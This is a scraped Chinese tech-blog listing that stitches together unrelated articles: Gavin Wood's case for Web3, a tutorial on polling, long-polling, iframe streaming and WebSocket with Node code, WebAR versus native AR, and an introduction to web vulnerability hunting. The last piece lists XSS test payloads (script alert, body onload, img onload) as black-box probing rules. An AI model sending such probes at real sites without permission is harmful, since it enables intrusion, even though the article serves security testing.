-
2022-01-11 14:21:50
1、为什么要有 Web3?
Gavin 认为,Web 2.0 的模型与互联网出现之前的社会模型非常相似,而我们之所以要讨论 Web3,就是因为现在的 Web2.0 不够好。
如果你回到 500 年前,大多数人的活动范围基本上只局限在他们的小村庄和乡镇,只与认识的人进行互动和交易。从广义上讲,他们依靠社会结构来确保自己(对交易结果)的期望是可信的,并且很可能会真正发生,比如买到的苹果不会在短时间内腐烂——这也意味着信誉保证。
在当时,这机制相当有效,因为在城镇之间移动既困难又费时且成本高昂,所以很多人会为了留在一个地方而格外注意自己的信誉。
可以简单认为:Web1 是一个只读网络, Web2 是一个读写网络,而 Web3 承诺的是,提供一个无中介的读写网络,即一个去中心化的互联网。
但是随着社会规模变得更大,我们有了城市、国家和国际组织,为了保证更大规模的信誉问题,我们创建了许多强大但受监管的机构。原则上,它们的存在为了确保我们的期望得到满足。一个典型的例子就是如果你要在特定行业开展业务,就必须先满足某些法定要求。
这不是一个很好的解决方案。一个原因是新兴产业非常难监管,因为政府通常行动缓慢,需要一段时间才能赶上。另一个是监管机构不完善,尤其是当他们与行业密切合作时,行业和监管机构之间通常会存在一些旋转门关系。
还有一个原因是监管机构的能力非常有限,监管的完整程度取决于政府投入的资源。它们或许可以管住那些招摇的罪犯,但无法在任何时候都保持强大的影响力,而且不同国家和地区的监管制度也不一样。
我们需要跨越这一点。但不幸的是,Web 2.0 仍然存在于这种非常中心化的模型中。
“这是一个坏掉的模型,”Gavin 表示。“我们需要从技术层面解决这个监管失效的模型。”2、少一点信任,多一点真实
用一句话来解释 Web3,Gavin 认为它的定义是“少一点信任(trust),多一点真实(truth)”。
在他眼中,“信任”有一个特殊的含义:它本质上是“信仰”。它是一种信念,即某些事情会发生,世界会以某种方式运转,而没有任何真实的证据或理性的论据来说明为什么会发生这种情况。
相对的,他眼中的“真实”,意味着有更多的理由相信期望会得到满足。
更进一步地讲,Gavin 认为“信任”本身就不是一件好事。信任意味着你将某种权力授予其他人或某个组织,他们将能够以任意方式使用该权力。如此一来,信任可能会变得盲目,变得不再是真正得信任。3、打破垄断,可能吗?
在 Web3 所描绘的一系列愿景中,一个很重要的目标是打破垄断,尤其是打破谷歌和 Meta 等平台型企业的垄断。
Gavin 认为,虽然这听起来很难实现,而且他自己也不知道是否会真正实现,但他坚信这是一个合乎逻辑的改进,而且理应是无法避免的,否则就代表着“人类社会正在走向衰落”。
他以加密算法为例,这些算法可以帮助人们实现加密对话,完成只有参与者才知晓的信息传递。一个以此出名的应用是 WhatsApp,它号称提供端到端加密,连拥有它的公司都不能破译。
这看起来很美好,但问题在于如果 WhatsApp 在其服务中加入了一个能够解密所有对话的密钥怎么办?WhatsApp 说不存在这样的密钥,那你怎么知道它不存在?
你别无选择,因为你看不到代码,看不到密钥结构,看不到服务是如何运行的,所以只能相信它的话。这也就是所谓的“盲目相信”。当然,它也许说的是实话,那是因为害怕如果不这样做,其信誉会受到很大的打击。
然而正如我们从“棱镜门”中看到的那样,有时公司没有机会说实话。情报或安全机构可以在他们的后台安装一些工具,然后以各种理由不让公司去插手这些工具。
在 Web3 的架构下,区块链可以很好地解决这个信任问题。它的开放和透明是关键,而且我们可以通过分析一家公司的基础设施架构和运行模式来判断它是否是伪装的 Web 2.0 公司,比如它是否真的是点对点的架构,还是仍然依托于一个数据中心。4、什么是去中心化?
去中心化,是 Web3 的另一个重点,这也是互联网精神的核心,但目前它只是停留在技术和协议层面。在实际层面上,人们的互联网活动几乎全部依托于科技公司。
在 Gavin 看来,去中心化意味着“每个人都可以像世界上任何其他人一样轻松地成为某项服务的提供者或共同提供者”。
但这听起来很难实现。很难想象除一小部分水平高超的程序员之外的任何人实际上参与提供任何互联网服务,那么这最终或许又会演变成一种中心化。
对此,Gavin 的解释是“拥有能做的权利与自由”和“基本面上完全无法实现”是两个完全不同的概念。如果一个人依靠自己的努力,使用免费获取的资源提供了某项服务,那么他就可以称之为是这项服务的共同提供者,这项服务也会是免费的。
“这不一定代表每个人都要去学编程,当 Web3 程序员,”他补充道。“我不会试图说服你相信世界上每个人都可以做到这一点。但关键是,能做到这一点的人越多、门槛越低越好。”5、Web3 的世界是什么样子?
Gavin 认为最初的 Web3 应用程序可能主要是对 Web 2.0 应用程序的小迭代,但之后 Web3 将带来的具有财务义务或经济上更强大的应用程序——以点对点方式在个人之间提供经济服务——这是 Web 2.0 无法轻松解决的一件事。
我们现在看到的加密货币只是其中的很小一部分,转账也只是很小的一部分,Web3 带来的经济服务可以涵盖那些非常稀缺、昂贵、困难的东西。
举个通俗的例子,如果有一个约会应用,它可以限制你每天只能送一朵花给心仪对象,无论你付多少钱都不能违背这一点,那么这个花就有稀缺的属性。如果是一家 Web2.0 的公司来运营,那么它肯定会以一个商业盈利的角度来做这件事,只要你付钱,想送多少花都行。
那么 Web3 公司难道就不需要盈利吗?我们如何期望它们去打破常规呢?
在 Gavin 看来,基于区块链的 Web3 公司和 Web 2.0 公司有本质上的不同。在 Web 2.0 时代,以编程为代表的技术让用户变得更强大,让他们做更多的事情,变得更富有,可以更快、更好地向更多人提供服务。
区块链不会这样做。它在根本上是不同的。它实际上是一种社会结构,一套新规则,而这些规则唯一的作用就是在系统内没有人拥有任意权力。作为一个用户,你可以相当确定这一点,特别是如果你是一名程序员,那么你更可以阅读代码并知道它在做正确的事情。
另一方面,你也可以根据用户数量进行合理地推断,因为有如此多人在某种期望的支持下使用一个服务或者加入了一个网络。如果这个期望没有得到满足,他们就会离开。
Gavin 强调,Web3 的目的不是去取代现在的科技巨头,尽管技术的过于集中“威胁到了我们所拥有的服务和期望”。
“更重要的是,Web3 实际上更像是一场更大的社会运动,它正在从任意权力转向一个更加理性的自由模型。这是我能看到的保护自由世界的唯一方式,这是我们过去 70 年来享受的生活,也是我们能够让它在未来 70 年继续运行的唯一方法。”更多相关内容 -
基于Web技术的环境友好型仪器设备管理系统的设计与应用 (2008年)
2021-04-22 04:10:02方法 分析目前高校仪器设备软件存在的不足,依靠 Web技术,运用 Visual Basic及Visual C+ +可视化集成环境,最大程度降低校园网络的影响。结果 提出了系统的运行环境、基本功能、模块结构及模块处理方法等,设计出基于 ... -
Web 实时推送技术的总结
2019-03-14 08:27:57一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。 由于是建立在HTTP基础上的协议,因此连接的发起方...前言
随着 Web 的发展,用户对于 Web 的实时推送要求也越来越高 ,比如,工业运行监控、Web 在线通讯、即时报价系统、在线游戏等,都需要将后台发生的变化主动地、实时地传送到浏览器端,而不需要用户手动地刷新页面。本文对过去和现在流行的 Web 实时推送技术进行了比较与总结。
本文完整的源代码请猛戳Github博客,纸上得来终觉浅,建议大家动手敲敲代码。
一、双向通信
HTTP 协议有一个缺陷:通信只能由客户端发起。举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。在WebSocket协议之前,有三种实现双向通信的方式:轮询(polling)、长轮询(long-polling)和iframe流(streaming)。
1.轮询(polling)
轮询是客户端和服务器之间会一直进行连接,每隔一段时间就询问一次。其缺点也很明显:连接数会很多,一个接受,一个发送。而且每次发送请求都会有Http的Header,会很耗流量,也会消耗CPU的利用率。- 优点:实现简单,无需做过多的更改
- 缺点:轮询的间隔过长,会导致用户不能及时接收到更新的数据;轮询的间隔过短,会导致查询请求过多,增加服务器端的负担
// 1.html <div id="clock"></div> <script> let clockDiv = document.getElementById('clock'); setInterval(function(){ let xhr = new XMLHttpRequest; xhr.open('GET','/clock',true); xhr.onreadystatechange = function(){ if(xhr.readyState == 4 && xhr.status == 200){ console.log(xhr.responseText); clockDiv.innerHTML = xhr.responseText; } } xhr.send(); },1000); </script>
//轮询 服务端 let express = require('express'); let app = express(); app.use(express.static(__dirname)); app.get('/clock',function(req,res){ res.end(new Date().toLocaleString()); }); app.listen(8080);
启动本地服务,打开
http://localhost:8080/1.html
,得到如下结果:2.长轮询(long-polling)
长轮询是对轮询的改进版,客户端发送HTTP给服务器之后,看有没有新消息,如果没有新消息,就一直等待。当有新消息的时候,才会返回给客户端。在某种程度上减小了网络带宽和CPU利用率等问题。由于http数据包的头部数据量往往很大(通常有400多个字节),但是真正被服务器需要的数据却很少(有时只有10个字节左右),这样的数据包在网络上周期性的传输,难免对网络带宽是一种浪费。- 优点:比 Polling 做了优化,有较好的时效性
- 缺点:保持连接会消耗资源; 服务器没有返回有效数据,程序超时。
// 2.html 服务端代码同上 <div id="clock"></div> <script> let clockDiv = document.getElementById('clock') function send() { let xhr = new XMLHttpRequest() xhr.open('GET', '/clock', true) xhr.timeout = 2000 // 超时时间,单位是毫秒 xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status == 200) { //如果返回成功了,则显示结果 clockDiv.innerHTML = xhr.responseText } send() //不管成功还是失败都会发下一次请求 } } xhr.ontimeout = function() { send() } xhr.send() } send() </script>
3.iframe流(streaming)
iframe流方式是在页面中插入一个隐藏的iframe,利用其src属性在服务器和客户端之间创建一条长连接,服务器向iframe传输数据(通常是HTML,内有负责插入信息的javascript),来实时更新页面。- 优点:消息能够实时到达;浏览器兼容好
- 缺点:服务器维护一个长连接会增加开销;IE、chrome、Firefox会显示加载没有完成,图标会不停旋转。
// 3.html <body> <div id="clock"></div> <iframe src="/clock" style="display:none"></iframe> </body>
//iframe流 let express = require('express') let app = express() app.use(express.static(__dirname)) app.get('/clock', function(req, res) { setInterval(function() { let date = new Date().toLocaleString() res.write(` <script type="text/javascript"> parent.document.getElementById('clock').innerHTML = "${date}";//改变父窗口dom元素 </script> `) }, 1000) }) app.listen(8080)
启动本地服务,打开
http://localhost:8080/3.html
,得到如下结果:
上述代码中,客户端只请求一次,然而服务端却是源源不断向客户端发送数据,这样服务器维护一个长连接会增加开销。
以上我们介绍了三种实时推送技术,然而各自的缺点很明显,使用起来并不理想,接下来我们着重介绍另一种技术–websocket,它是比较理想的双向通信技术。
二、WebSocket
1.什么是websocket
WebSocket是一种全新的协议,随着HTML5草案的不断完善,越来越多的现代浏览器开始全面支持WebSocket技术了,它将TCP的Socket(套接字)应用在了webpage上,从而使通信双方建立起一个保持在活动状态连接通道。
一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。由于是建立在HTTP基础上的协议,因此连接的发起方仍是客户端,而一旦确立WebSocket通信连接,不论服务器还是客户端,任意一方都可直接向对方发送报文。
初次接触 WebSocket 的人,都会问同样的问题:我们已经有了 HTTP 协议,为什么还需要另一个协议?
2.HTTP的局限性
- HTTP是半双工协议,也就是说,在同一时刻数据只能单向流动,客户端向服务器发送请求(单向的),然后服务器响应请求(单向的)。
- 服务器不能主动推送数据给浏览器。这就会导致一些高级功能难以实现,诸如聊天室场景就没法实现。
3.WebSocket的特点
- 支持双向通信,实时性更强
- 可以发送文本,也可以发送二进制数据
- 减少通信量:只要建立起WebSocket连接,就希望一直保持连接状态。和HTTP相比,不但每次连接时的总开销减少,而且由于WebSocket的首部信息很小,通信量也相应减少了
相对于传统的HTTP每次请求-应答都需要客户端与服务端建立连接的模式,WebSocket是类似Socket的TCP长连接的通讯模式,一旦WebSocket连接建立后,后续数据都以帧序列的形式传输。在客户端断开WebSocket连接或Server端断掉连接前,不需要客户端和服务端重新发起连接请求。在海量并发和客户端与服务器交互负载流量大的情况下,极大的节省了网络带宽资源的消耗,有明显的性能优势,且客户端发送和接受消息是在同一个持久连接上发起,实时性优势明显。
接下来我看下websocket如何实现客户端与服务端双向通信:
// websocket.html <div id="clock"></div> <script> let clockDiv = document.getElementById('clock') let socket = new WebSocket('ws://localhost:9999') //当连接成功之后就会执行回调函数 socket.onopen = function() { console.log('客户端连接成功') //再向服务 器发送一个消息 socket.send('hello') //客户端发的消息内容 为hello } //绑定事件是用加属性的方式 socket.onmessage = function(event) { clockDiv.innerHTML = event.data console.log('收到服务器端的响应', event.data) } </script>
// websocket.js let express = require('express') let app = express() app.use(express.static(__dirname)) //http服务器 app.listen(3000) let WebSocketServer = require('ws').Server //用ws模块启动一个websocket服务器,监听了9999端口 let wsServer = new WebSocketServer({ port: 9999 }) //监听客户端的连接请求 当客户端连接服务器的时候,就会触发connection事件 //socket代表一个客户端,不是所有客户端共享的,而是每个客户端都有一个socket wsServer.on('connection', function(socket) { //每一个socket都有一个唯一的ID属性 console.log(socket) console.log('客户端连接成功') //监听对方发过来的消息 socket.on('message', function(message) { console.log('接收到客户端的消息', message) socket.send('服务器回应:' + message) }) })
启动本地服务,打开
http://localhost:3000/websocket.html
,得到如下结果:
三、Web 实时推送技术的比较
方式 类型 技术实现 优点 缺点 适用场景 轮询Polling client→server 客户端循环请求 1、实现简单 2、 支持跨域 1、浪费带宽和服务器资源 2、 一次请求信息大半是无用(完整http头信息) 3、有延迟 4、大部分无效请求 适于小型应用 长轮询Long-Polling client→server 服务器hold住连接,一直到有数据或者超时才返回,减少重复请求次数 1、实现简单 2、不会频繁发请求 3、节省流量 4、延迟低 1、服务器hold住连接,会消耗资源 2、一次请求信息大半是无用 WebQQ、Hi网页版、Facebook IM 长连接iframe client→server 在页面里嵌入一个隐蔵iframe,将这个 iframe 的 src 属性设为对一个长连接的请求,服务器端就能源源不断地往客户端输入数据。 1、数据实时送达 2、不发无用请求,一次链接,多次“推送” 1、服务器增加开销 2、无法准确知道连接状态 3、IE、chrome等一直会处于loading状态 Gmail聊天 WebSocket server⇌client new WebSocket() 1、支持双向通信,实时性更强 2、可发送二进制文件3、减少通信量 1、浏览器支持程度不一致 2、不支持断开重连 网络游戏、银行交互和支付 综上所述:Websocket协议不仅解决了HTTP协议中服务端的被动性,即通信只能由客户端发起,也解决了数据同步有延迟的问题,同时还带来了明显的性能优势,所以websocket
是Web 实时推送技术的比较理想的方案,但如果要兼容低版本浏览器,可以考虑用轮询来实现。给大家推荐一个好用的BUG监控工具Fundebug,欢迎免费试用!
欢迎关注公众号:前端工匠,你的成长我们一起见证!如果你感觉有收获,欢迎给我打赏,以激励我更多输出优质开源内容
参考文章
-
EAI和Web服务-轻松进行企业应用集成
2021-02-27 17:49:46通过一个被Web标准支持...本文所引用的资源主要包括两类,一类是Web服务的技术资源网站,包含了大量Web服务的技术信息,另一类是Web服务“stack"系列技术规范,他们是一个整体的技术体系,包括UDDI、SOAP、WSDL、XML等 -
论文研究-Web服务架构.pdf
2019-07-22 18:29:54Web 服务的主要目标就是在现有的各种异构平台的基础上构筑一个通用的与平台无关、语言无关的技术层, 各种不同平台之上的应用依靠这个技术层来实施彼此的连接和集成。提出可以将Web 服务架构划分为概念层、逻辑层和... -
增强现实技术(AR)在Web端的技术原理
2020-04-28 19:01:22鉴于Web技术的最新进展,在开发基于AR的解决方案时,它提供了一组新的选择。网络浏览器的最新更新为AR的应用打开了大门。使用Web或本地应用程序构建AR体验更好吗?在本文中,我将简要概述JS在本机应用程序世界中的...鉴于Web技术的最新进展,在开发基于AR的解决方案时,它提供了一组新的选择。网络浏览器的最新更新为AR的应用打开了大门。使用Web或本地应用程序构建AR体验更好吗?在本文中,我将简要概述JS在本机应用程序世界中的使用,然后将深入探讨什么是WebAR,它如何工作,如何与本机应用程序竞争以及哪种是更好的解决方案。
前面我们通过一篇文章相信介绍过WebAR:万字干货介绍WebAR的实现与应用
这篇文章主要详细介绍WebAR与native AR的区别,本文译自Hermes(Agora.io的开发人员,也是Blippar的前工程师)。
以下内容由公众号:AIRX社区(国内领先的AI、AR、VR技术学习与交流平台) 整理
JS在应用程序端扮演什么角色?
Javascript无处不在,包括嵌入在本机应用程序中。使用JS代码执行C ++代码的能力使Blippar,Zappar,Facebook,Snapchat和其他此类平台能够使开发人员更好地控制其AR体验。JS具有许多吸引人的特性,但最引人注目的是Java语言由iOS和Android原生。
为了提供有关JS和C ++如何协同工作的上下文和详细信息,我将使用Blippar的移动SDK作为示例。Blippar SDK的核心是一个基于C ++的OpenGL渲染引擎,该引擎使该应用在各个平台之间的比价更高。Blippar的Javascript API允许第三方开发者使用JS控制底层引擎,但获得了C ++的所有响应能力并为用户提供了本机效果。
前面提到的所有SDK / API都比ARKit和ARCore早。现在,每个平台都有本机实现,Viro Media创建了一个React插件,该插件可以实现本机和跨平台AR开发。
当我们讨论使用Java的AR平台时,我们不能忽略Amazon。亚马逊推出了Sumerian平台,旨在弥补创作者/出版者立场之间的差距。亚马逊在AWS之上构建了自己的XR渲染引擎和Studio。允许用户在AWS基础设施的所有支持下扩展他们的游戏/应用/体验。
显然,这是亚马逊吸引新开发人员并保留现有客户以在其平台上进行构建的一种方式。这里有几件事要注意,对于后端和架构师,这表明亚马逊看到了明确的平台。对于前端人员而言,Somerian工作室全部基于网络,脚本编写全部使用基于Javascript的API完成。
Adobe是创作者领域的另一位强大参与者,他们的Project Aero处于私人Beta版,它可以使创作者使用USDZ格式。
我们不能谈论所有人,更不用说Sketchfab了。最初是供3D艺术家上传并很好地显示作品的资源库,如今已发展成为具有API的市场,并且启用了ARKit的iOS应用允许用户在自己的世界中放置3D模型。随着AR和VR越来越流行,Sketchfab是一家值得关注的公司。
什么是WebAR?
WebAR不仅仅是AR的子集,它还是一个笼统的术语,涵盖了许多不同的实现。WebAR解决方案的范围很广,既可以使用设备的陀螺仪/加速度计传感器作为背景,也可以使用相机输入,也可以使用更复杂的解决方案,例如AR.js,TensorFlowJS和USDZ。
根本上,AR正在使用移动设备的传感器来跟踪其在增强场景中的位置。在过去的几年中,移动浏览器已经增加了对JS Sensor API的支持,例如照相机,陀螺仪,加速度计,方向,磁力计(阅读:指南针)。利用这些传感器,开发人员可以创造一系列的体验。
Blippar是最早通过横幅广告启动浏览器内AR体验的公司之一;在AR的背景下,该布局是一个相对新颖的概念,但在推出时引起了极大的轰动。该广告是汽车内部装饰的360⁰体验³,其中按钮重叠,以切换显示汽车的详细信息。
我问的第一个问题是响应速度如何?AR在计算上很昂贵,那么它如何在浏览器中工作?WebAssembly是网络标准,允许浏览器执行汇编使用二进制文件代码。WebAssembly文件是通过将C / C ++编译为.wasm使用JS代码执行的文件来创建的。
让我们考虑一下这里的含义。使用WebAssembly,可以使用原始Javascript在Web浏览器中以接近本机的性能运行计算密集型操作。WebAssembly使TensorFlowJS和ML5JS等项目成为可能。
WebAssembly很酷,但是仅占WebAR的一半。WebAssembly在AR的计算机视觉方面完成了所有繁重的工作,而我们拥有用于渲染的webGL。WebAssembly和WebGL是基础,但是我们如何使用这些API创建基于Web的AR体验?输入由Jerome Etienne编写的框架AR.js,该框架使用A-Frame(在Three.js之上构建)和JSARToolkit5 (ARToolKit的脚本端口),还有其他一些WebAR框架,但是大多数都需要特殊的Web浏览器应用程序或利用专有的API。AR.js是开源的,不需要任何特殊的应用程序,它可在默认浏览器中运行。
为了讨论AR.js及其对WebAR的含义,值得快速浏览一下为框架提供支持的组件。A-Frame是在Three.js之上的基于JS的API框架,使其更像具有实体组件关系的游戏编码。这简化了Three.js的语法,使开发人员可以专注于体验/游戏。然后,AR.js使用JSARToolkit跟踪3D场景到标记,并利用Computer Vision检测特征点。这是大多数早期基于应用程序的AR体验的动力。AR.js为移动网络提供了前进的脚,并可以与基于应用程序的AR竞争。
看一下苹果和谷歌的努力,我们看到他们已经采取了一些措施,以实现3D模型与其各自的移动浏览器之间更深层次的集成。让我们从Apple的.usdz文件格式开始。
什么是USDZ,它如何运作?用最简单的话说,Apple已将ARkit功能内置到iOS的Safari中。带有几行html和一个文件.usdz,任何网站都可以包含AR元素。
<a rel="ar" href="model.usdz"> <img src =“ model-preview.jpg”> </a>
.USDZ是Apple的标准本机文件格式,用于在其移动浏览器,iMsg,电子邮件和Notes应用程序中显示3D。
在谈论USDZ和Apple之前,我们不得不提及Google在WebXR Device API和WebXR Hit Test API(Chrome Canary中)方面的进步。Google希望将基于Web的AR放在首位。
我将假设Google使用与Poly项目类似的文件类型.obj以及.glTF文件格式。与苹果公司不同,谷歌选择采用流行的标准格式,这表明谷歌已经在考虑降低3D生态系统中已经采用的障碍。
无需应用程序
无应用程序AR是指使用本机Web浏览器来提供AR体验,使其可以在所有平台,设备和移动OS上运行。当Blippar启动AR数字展示位置(在网络浏览器中启动AR的横幅广告)时,我们看到了大量潜在客户。代理商,零售,娱乐,制药等机构都有巨大的需求,所有这些机构都希望与用户互动,而无需下载应用程序。大多数代理商和品牌都愿意将AR体验添加到现有应用程序中,但他们也意识到这种参与与删除应用程序下载时的体验不同。网络无摩擦,每个人都有一个带有QR扫描仪的相机应用程序,可以链接到网站。回到我前面提到的AR广告展示位置;当时最大的争斗集中在浏览器兼容性上。迄今为止,基于Web的AR体验仍然是一个问题。
并非每个移动浏览器都支持Sensors API,或者设备缺少某些传感器,这是我们在Android设备上尤其看到的一个巨大问题。通过商店发布应用程序时,可以控制可以在哪个设备上安装该应用程序,但是在网络上则没有该控件。是的,它可以在网页中添加检查,但是随后你会看到一个屏幕,上面写着“抱歉,不支持您的设备”,这就很让人崩溃!
WebAR竞争力
当前,Web浏览器在AR摄像机方面没有足够的访问权限。AR摄像头与传统摄像头的不同之处在于,它在OS级别而不是其顶部处理增强。当前基于Web的AR的实现要求在OS之上进行计算,从而导致计算滞后,限制渲染,有时甚至导致可见滞后。
要使AR通过Web更加可访问性,迈出的一大步就是Web Standards采用API直接访问ARCamera对象。
如果该抽象可以作为标准的Web API存在,则任何浏览器应用程序都可以利用ARkit / ARCore或存在的任何底层平台。Web API一旦存在,就会出现许多不同的框架。有一些实验性浏览器利用ARKit / ARCore,但它们需要特定的JS框架。
USDZ是一个良好的开端,但缺少重要的组成部分,而这一层增加了对交互的支持。谷歌的努力仍然仅在Canary版本的Chrome中可用,因此在其正式版中加入之前,它将落后于苹果公司。
当我开始写这篇文章时,我的想法是会有一个明确的利弊清单,但是在坐下来并仔细研究了我认为的利弊之后,无论Web和Native哪里都不足,都有SDK和API可以补充。
视觉搜索只能通过基于应用程序的解决方案来实现。例如,Blippar的识别引擎不依赖QR码,它使用ai识别其系统中的已知实体,并在存在匹配项时提供体验。对于希望利用其现有印刷材料而不必更改其设计的公司而言,这非常有用。
视觉搜索的行为仍然是新事物,并不是很直观,大多数人不习惯将手机对准东西,即使会出现炫酷的AR内容。
代替可视搜索,WebAR依靠QR码。从设计角度来看,QR码不是很性感,但是自从iOS和Android都在其本机相机应用程序中都添加了对QR码识别的支持后,扫描QR码的行为已得到越来越广泛的使用。
可以提出另一个论点,即互联网和增强现实技术在全球范围内都可以使用,我们需要牢记,在某些新兴市场中,互联网的速度和可靠性并不那么快。这就需要支持离线使用,这只能通过应用程序获得。另一方面,让某人下载应用程序比访问网站困难得多。因此,最终结论是……这确实取决于项目。
WebAR如何发展
许多人都对AR的未来做出了预测,无论它的耳机,投影仪还是植入芯片的极端特性,等等。为了加入这个世界大胆而勇敢的算命先生的行列,我将分享我的想法。当前,大多数AR内容(体验中的媒体)都托管在设备上或从云加载。Blippar,Facebook,Snapchat,Zappar都使用基于云的CMS,该CMS基于某种触发(链接,标记,面部,qr代码等)下载AR体验。为了提供有关云交付的AR如何工作的背景信息,移动应用程序具有某种触发或进入点(链接,标记,面部,二维码等),可以启动体验。此触发器提示应用程序向后端系统发出请求,以发送体验的资产和代码。大多数平台在启动之前都会下载整个体验,这解释了为什么Facebook和Snapchat的上限为4 mb,以保持快速运行。在Blippar,我们提供了各种体验,因此有时我们不得不发挥创造力。项目的内容从页面上的视频到3D世界,赛车上山路甚至在Apps上完全可用。因此我们的广告系列范围从> 1 mb到85 mb或更大。为什么这很麻烦?就像我之前提到的,我们过去常常通过对场景进行编码以在后台下载资产的方式来发挥创意,那么有什么大不了的呢?事实证明,为什么大小很重要,保持正确的平衡对您的AR体验的成功至关重要,但背后还有一些颇具影响力的数字。在Blippar,我们发现,花费30秒以上才能进行加载(下载和初始化)的所有体验都会减少约50%的体验,而那些最初尝试进行互动的用户还会流失约75%的用户。这意味着,较长的下载时间可能会导致多达90%的受众群体流失,大约有10%的用户会重新参与。因此,现在除了必须以某种方式让某人下载应用程序之外,还可以使用户保持您的应用程序需要快速加载。如果您获得适当的平衡,则体验可以看到每位用户最多3倍的参与度,而停留时间是2倍。WebAR使用Web优化进行下载和传送,但是大小仍然很重要。如果不流式传输内容,则体验越大,在移动浏览器中加载所需的时间就越长。
公众号[三次方AIRX]:三次方•数字化人才在线教育平台。帮助Z时代大学生和0-5年职场人获得混合现实、人工智能、游戏开发、大数据等能力。
-
WEB漏洞挖掘技术
2016-02-19 10:09:32前言漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行...前言
漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.
在针对ELF文件 PE文件(.exe与.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.
网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.
WEB漏洞的分类
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.
B: 文件包含类型,如PHP的的远程 本地文件包含漏洞
文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.
C: XSS
XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.
同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.
WEB漏洞挖掘规则
我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:
http://website/index1.php?id=<script>alert("111")</script>
如果对方的代码过滤了”双引号那么可以通过
http://website/index1.php?id=<script>alert('111')</script>
采用’单引号测试若单引号也过滤呢?OK,我们这样来测试
http://website/index1.php?id=<script>alert(111)</script>
使用数字提交,这样测试XSS的漏洞就扩展到了三条有些具体的站点可能还会有很多的问题,例如:
通过构造HTML语句来实现XSS漏洞的挖掘等等.
A: XSS的漏洞挖掘规则
http://website/index1.php?id=<script>alert("111")</script> http://website/index1.php?id=<script>alert('111')</script> http://website/index1.php?id=<script>alert(111)</script> http://website/index1.php?id=<body+onload=alert("1111")> http://website/index1.php?id=<body+onload=alert('1111')> http://website/index1.php?id=<body+onload=alert(1111)> http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")> http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')> http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)> http://website/index1.php?id=<" http://website/index1.php?id=<' http://website/index1.php?id=< http://website/index1.php?id=<!-- http://website/index1.php?id=--> http://website/index1.php?id=<!-- -->
